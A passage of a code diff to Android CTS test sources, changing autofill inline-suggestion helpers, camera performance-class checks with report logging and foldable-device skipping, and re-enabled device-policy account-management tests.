 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.cts.mockime.MockImeSession;
+
 import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
@@ -76,10 +79,19 @@
         runShellCommand("cmd autofill set temporary-augmented-service 0");
     }
 
+    /**
+     * Returns whether MockIme is available.
+     */
+    public static boolean mockImeIsAvailable(Context context) {
+        return MockImeSession.getUnavailabilityReason(context) == null;
+    }
+
     public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
             @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
             @Nullable AutofillValue expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
+        final boolean hasDefaultInlineRequest = mockImeIsAvailable(activity.getBaseContext());
+        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue,
+                hasDefaultInlineRequest);
     }
 
     public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 21befa5..1d519d7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -771,6 +771,7 @@
 
     /**
      * Gets the total number of nodes in an structure.
+     * A node that has a non-null IdPackage which does not match the test package is not counted.
      */
     public static int getNumberNodes(AssistStructure structure,
             CharSequence windowTitle) {
@@ -798,14 +799,18 @@
 
     /**
      * Gets the total number of nodes in an node, including all descendants and the node itself.
+     * A node that has a non-null IdPackage which does not match the test package is not counted.
      */
     public static int getNumberNodes(ViewNode node) {
+        if (node.getIdPackage() != null && !node.getIdPackage().equals(MY_PACKAGE)) {
+            Log.w(TAG, "ViewNode ignored in getNumberNodes because of mismatched package: "
+                    + node.getIdPackage());
+            return 0;
+        }
         int count = 1;
         final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                count += getNumberNodes(node.getChildAt(i));
-            }
+        for (int i = 0; i < childrenSize; i++) {
+            count += getNumberNodes(node.getChildAt(i));
         }
         return count;
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
index 50892fc..f488f09 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -20,14 +20,16 @@
 import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
 import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
 
+import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.Timeout;
 import com.android.cts.mockime.MockIme;
 
 import org.junit.rules.RuleChain;
@@ -46,12 +48,11 @@
     private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
             PackageManager.FEATURE_INPUT_METHODS);
 
-    public InlineUiBot() {
-        this(UI_TIMEOUT);
-    }
+    private final Context mContext;
 
-    public InlineUiBot(Timeout defaultTimeout) {
-        super(defaultTimeout);
+    public InlineUiBot(Context context) {
+        super(UI_TIMEOUT);
+        mContext = context;
     }
 
     public static RuleChain annotateRule(TestRule rule) {
@@ -73,7 +74,7 @@
      * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
      */
     public void selectSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset == null) {
             throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -88,7 +89,7 @@
 
     @Override
     public void longPressSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset == null) {
             throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -97,14 +98,14 @@
     }
 
     @Override
-    public UiObject2 assertDatasets(String...names) throws Exception {
-        final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
+    public UiObject2 assertDatasets(String... names) throws Exception {
+        final UiObject2 picker = findSuggestionStrip();
         return assertDatasets(picker, names);
     }
 
     @Override
     public void assertSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset == null) {
             throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -113,7 +114,7 @@
 
     @Override
     public void assertNoSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset != null) {
             throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
@@ -122,7 +123,10 @@
 
     @Override
     public void scrollSuggestionView(Direction direction, int speed) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
+        final int defaultWidth = strip.getVisibleBounds().width() / 4;
+        final int width = getEdgeSensitivityWidth(defaultWidth);
+        strip.setGestureMargin(width);
         strip.fling(direction, speed);
     }
 
@@ -133,7 +137,18 @@
         }
     }
 
-    private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
-        return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
+    private UiObject2 findSuggestionStrip() throws Exception {
+        return waitForObject(SUGGESTION_STRIP_SELECTOR, Timeouts.UI_TIMEOUT);
+    }
+
+    private int getEdgeSensitivityWidth(int defaultWidth) {
+        Resources resources = mContext.getResources();
+        int resId = resources.getIdentifier("config_backGestureInset", "dimen", "android");
+        try {
+            return resources.getDimensionPixelSize(resId) + 1;
+        } catch (Resources.NotFoundException e) {
+            Log.e(TAG, "Failed to get edge sensitivity width. Defaulting to " + defaultWidth, e);
+            return defaultWidth;
+        }
     }
 }
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index cf02ebe..feb5567 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -206,9 +206,9 @@
     }
 
     /**
-     * Check camera S Performance class requirement for JPEG sizes.
+     * Check JPEG size overrides for devices claiming S Performance class requirement via
+     * Version.MEDIA_PERFORMANCE_CLASS
      */
-    @CddTest(requirement="7.5/H-1-8")
     public void testSPerfClassJpegSizes() throws Exception {
         boolean isSPerfClass = CameraTestUtils.isSPerfClass();
         if (!isSPerfClass) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 28475ec..c938442 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -16,6 +16,23 @@
 
 package android.hardware.camera2.cts;
 
+import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContains;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContainsAnyOf;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertCollectionContainsAnyOf;
+import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
 import android.content.Context;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
@@ -34,42 +51,43 @@
 import android.hardware.camera2.params.DeviceStateSensorOrientationMap;
 import android.hardware.camera2.params.RecommendedStreamConfigurationMap;
 import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
 import android.media.ImageReader;
 import android.os.Build;
 import android.util.ArraySet;
 import android.util.DisplayMetrics;
 import android.util.Log;
-import android.util.Rational;
-import android.util.Range;
-import android.util.Size;
 import android.util.Pair;
 import android.util.Patterns;
+import android.util.Range;
+import android.util.Rational;
+import android.util.Size;
 import android.view.Display;
 import android.view.Surface;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
+import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.Set;
 
-import org.junit.runners.Parameterized;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
-import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
-import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics;
-
-import static junit.framework.Assert.*;
-
-import static org.mockito.Mockito.*;
+import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
+import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
 
 /**
  * Extended tests for static camera characteristics.
@@ -2570,6 +2588,15 @@
     @CddTest(requirement="7.5.5/C-1-1")
     @Test
     public void testCameraOrientationAlignedWithDevice() {
+        if (CameraUtils.isDeviceFoldable(mContext)) {
+            // CDD 7.5.5/C-1-1 does not apply to devices with folding displays as the display aspect
+            // ratios might change with the device's folding state.
+            // Skip this test in foldables until the CDD is updated to include foldables.
+            Log.i(TAG, "CDD 7.5.5/C-1-1 does not apply to foldables, skipping"
+                    + " testCameraOrientationAlignedWithDevice");
+            return;
+        }
+
         WindowManager windowManager =
                 (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
@@ -2619,22 +2646,54 @@
     }
 
     /**
+     * If meetPerfClass is true, return perfClassLevel.
+     * Otherwise, return NOT_MET.
+     */
+    private int updatePerfClassLevel(boolean meetPerfClass, int perfClassLevel) {
+        if (!meetPerfClass) {
+            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        } else {
+            return perfClassLevel;
+        }
+    }
+
+    /**
+     * Update perf class level based on meetSPerfClass and meetRPerfClass.
+     */
+    private int updatePerfClassLevel(boolean meetSPerfClass, boolean meetRPerfClass,
+            int perfClassLevel) {
+        if (!meetRPerfClass) {
+            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        } else if (!meetSPerfClass &&
+                perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
+            return CameraTestUtils.PERFORMANCE_CLASS_R;
+        }
+        return perfClassLevel;
+    }
+
+    /**
      * Check camera characteristics for R and S Performance class requirements as specified
      * in CDD camera section 7.5
      */
     @Test
-    @CddTest(requirement="7.5")
+    @CddTest(requirement="7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8")
     public void testCameraPerfClassCharacteristics() throws Exception {
         if (mAdoptShellPerm) {
             // Skip test for system camera. Performance class is only applicable for public camera
             // ids.
             return;
         }
-        boolean isRPerfClass = CameraTestUtils.isRPerfClass();
-        boolean isSPerfClass = CameraTestUtils.isSPerfClass();
-        if (!isRPerfClass && !isSPerfClass) {
-            return;
-        }
+        boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
+        boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
+        boolean assertPerfClass = (assertRPerfClass || assertSPerfClass);
+
+        int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+        int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+
+        DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
 
         boolean hasPrimaryRear = false;
         boolean hasPrimaryFront = false;
@@ -2663,78 +2722,145 @@
 
             if (isPrimaryRear) {
                 hasPrimaryRear = true;
-                mCollector.expectTrue("Primary rear camera resolution should be at least " +
-                        MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
-                        sensorResolution,
-                        sensorResolution >= MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION);
+                if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
+                    mCollector.expectTrue("Primary rear camera resolution should be at least " +
+                            MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
+                            sensorResolution, !assertPerfClass);
+                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                }
+                reportLog.addValue("rear camera resolution", sensorResolution,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
 
                 // 4K @ 30fps
                 boolean supportUHD = videoSizes.contains(UHD);
                 boolean supportDC4K = videoSizes.contains(DC4K);
-                mCollector.expectTrue("Primary rear camera should support 4k video recording",
-                        supportUHD || supportDC4K);
-                if (supportUHD || supportDC4K) {
+                reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+                if (!supportUHD && !supportDC4K) {
+                    mCollector.expectTrue("Primary rear camera should support 4k video recording",
+                            !assertPerfClass);
+                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                } else {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
-                    mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
-                            minFrameDuration < (1e9 / 29.9));
+                    reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+                    if (minFrameDuration >= (1e9 / 29.9)) {
+                        mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
+                                !assertPerfClass);
+                        perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                    }
                 }
             } else {
                 hasPrimaryFront = true;
-                if (isSPerfClass) {
+                if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
+                    mCollector.expectTrue("Primary front camera resolution should be at least " +
+                        MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
+                        sensorResolution, !assertSPerfClass);
+                    perfClassLevelH12 = Math.min(
+                            perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
+                }
+                if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
                     mCollector.expectTrue("Primary front camera resolution should be at least " +
                             MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution,
-                            sensorResolution >= MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION);
-                } else {
-                    mCollector.expectTrue("Primary front camera resolution should be at least " +
-                            MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution,
-                            sensorResolution >= MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION);
+                            sensorResolution, !assertRPerfClass);
+                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
                 }
+                reportLog.addValue("front camera resolution", sensorResolution,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+
                 // 1080P @ 30fps
                 boolean supportFULLHD = videoSizes.contains(FULLHD);
-                mCollector.expectTrue("Primary front camera should support 1080P video recording",
-                        supportFULLHD);
-                if (supportFULLHD) {
+                reportLog.addValue("front camera 1080p support", supportFULLHD,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
+                if (!supportFULLHD) {
+                    mCollector.expectTrue(
+                            "Primary front camera should support 1080P video recording",
+                            !assertPerfClass);
+                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                } else {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, FULLHD);
-                    mCollector.expectTrue("Primary front camera should support 1080P video @ 30fps",
-                            minFrameDuration < (1e9 / 29.9));
+                    if (minFrameDuration >= (1e9 / 29.9)) {
+                        mCollector.expectTrue(
+                                "Primary front camera should support 1080P video @ 30fps",
+                                !assertPerfClass);
+                        perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+                    }
+                    reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
+                        ResultType.NEUTRAL, ResultUnit.NONE);
                 }
             }
 
-            String facingString = hasPrimaryRear ? "rear" : "front";
+            String facingString = isPrimaryRear ? "rear" : "front";
             // H-1-3
-            if (isSPerfClass || (isRPerfClass && isPrimaryRear)) {
+            if (assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
                 mCollector.expectTrue("Primary " + facingString +
                         " camera should be at least FULL, but is " +
                         toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
                         staticInfo.isHardwareLevelAtLeastFull());
-            } else {
+            } else if (assertRPerfClass) {
                 mCollector.expectTrue("Primary " + facingString +
                         " camera should be at least LIMITED, but is " +
                         toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
                         staticInfo.isHardwareLevelAtLeastLimited());
             }
 
+            reportLog.addValue(facingString + " camera hardware level",
+                    staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
+            if (isPrimaryRear) {
+                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
+                        perfClassLevelH13);
+            } else {
+                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
+                        staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
+            }
+
             // H-1-4
             Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
+            reportLog.addValue(facingString + " timestampSource",
+                    timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
+            boolean realtimeTimestamp = (timestampSource != null &&
+                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
             mCollector.expectTrue(
                     "Primary " + facingString + " camera should support real-time timestamp source",
-                    timestampSource != null &&
-                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
+                    !assertPerfClass || realtimeTimestamp);
+            perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14);
 
             // H-1-8
-            if (isSPerfClass && isPrimaryRear) {
+            if (isPrimaryRear) {
+                boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
+                reportLog.addValue(facingString + " camera raw support",
+                        supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
                 mCollector.expectTrue("Primary rear camera should support RAW capability",
-                        staticInfo.isCapabilitySupported(RAW));
+                        !assertSPerfClass || supportRaw);
+                perfClassLevelH18 = updatePerfClassLevel(supportRaw, true /*R*/, perfClassLevelH18);
             }
         }
-        mCollector.expectTrue("There must be a primary rear camera for performance class.",
-                hasPrimaryRear);
-        mCollector.expectTrue("There must be a primary front camera for performance class.",
-                hasPrimaryFront);
+        if (!hasPrimaryRear) {
+            mCollector.expectTrue("There must be a primary rear camera for performance class.",
+                    !assertPerfClass);
+            perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        }
+        if (!hasPrimaryFront) {
+            mCollector.expectTrue("There must be a primary front camera for performance class.",
+                    !assertPerfClass);
+            perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+        }
+
+        reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
+        final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
+                perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
+                perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
+                perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
+                perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
+                perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit(InstrumentationRegistry.getInstrumentation());
     }
 
     /**
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index cfc857e..e98cee3 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -136,6 +136,8 @@
 
     public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
     public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
+    public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
+    public static final String MPC_STREAM_NAME = "CameraCts";
 
     private static final int EXIF_DATETIME_LENGTH = 19;
     private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -3737,8 +3739,10 @@
         return zoomRatios;
     }
 
-    private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
-    private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
+    public static final int PERFORMANCE_CLASS_NOT_MET = 0;
+    public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
+    public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
+    public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_S;
 
     /**
      * Check whether this mobile device is R performance class as defined in CDD
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index 5b4b485..df71087 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -17,12 +17,14 @@
 package android.hardware.cts.helpers;
 
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.devicestate.DeviceStateManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.util.Log;
@@ -30,8 +32,11 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import java.util.Arrays;
 import java.util.Comparator;
 import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 
 /**
@@ -273,4 +278,30 @@
         }
     }
 
+    /**
+     * Uses {@link DeviceStateManager} to determine if the device is foldable or not. It relies on
+     * the OEM exposing supported states, and setting
+     * com.android.internal.R.array.config_foldedDeviceStates correctly with the folded states.
+     *
+     * @return true is the device is a foldable; false otherwise
+     */
+    public static boolean isDeviceFoldable(Context mContext) {
+        DeviceStateManager deviceStateManager =
+                mContext.getSystemService(DeviceStateManager.class);
+        if (deviceStateManager == null) {
+            Log.w(TAG, "Couldn't locate DeviceStateManager to detect if the device is foldable"
+                    + " or not. Defaulting to not-foldable.");
+            return false;
+        }
+        Set<Integer> supportedStates = Arrays.stream(
+                deviceStateManager.getSupportedStates()).boxed().collect(Collectors.toSet());
+
+        Resources systemRes = Resources.getSystem();
+        int foldedStatesArrayIdentifier = systemRes.getIdentifier("config_foldedDeviceStates",
+                "array", "android");
+        int[] foldedDeviceStates = systemRes.getIntArray(foldedStatesArrayIdentifier);
+
+        // Device is a foldable if supportedStates contains any state in foldedDeviceStates
+        return Arrays.stream(foldedDeviceStates).anyMatch(supportedStates::contains);
+    }
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 9c5938e..1b1eb9c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,6 +16,8 @@
 
 package android.devicepolicy.cts;
 
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
 import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
 import static com.android.queryable.queries.ServiceQuery.service;
 
@@ -25,7 +27,6 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
 import android.accounts.OperationCanceledException;
 import android.app.admin.RemoteDevicePolicyManager;
 import android.content.ComponentName;
@@ -49,13 +50,10 @@
 
 import org.junit.Before;
 import org.junit.ClassRule;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.IOException;
-
 @RunWith(BedsteadJUnit4.class)
 public final class AccountManagementTest {
     @ClassRule
@@ -158,78 +156,64 @@
         assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
 
-            // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
-            //        .isEqualTo(EXISTING_ACCOUNT_TYPE);
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
         } finally {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
-            // TODO(b/197491427): AccountManager support in TestApp
-            // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
         }
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+            mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
 
-            //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
-            //        .isEqualTo(EXISTING_ACCOUNT_TYPE);
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
         } finally {
-            mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
-            // TODO(b/197491427): AccountManager support in TestApp
-            // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+            mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
         }
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
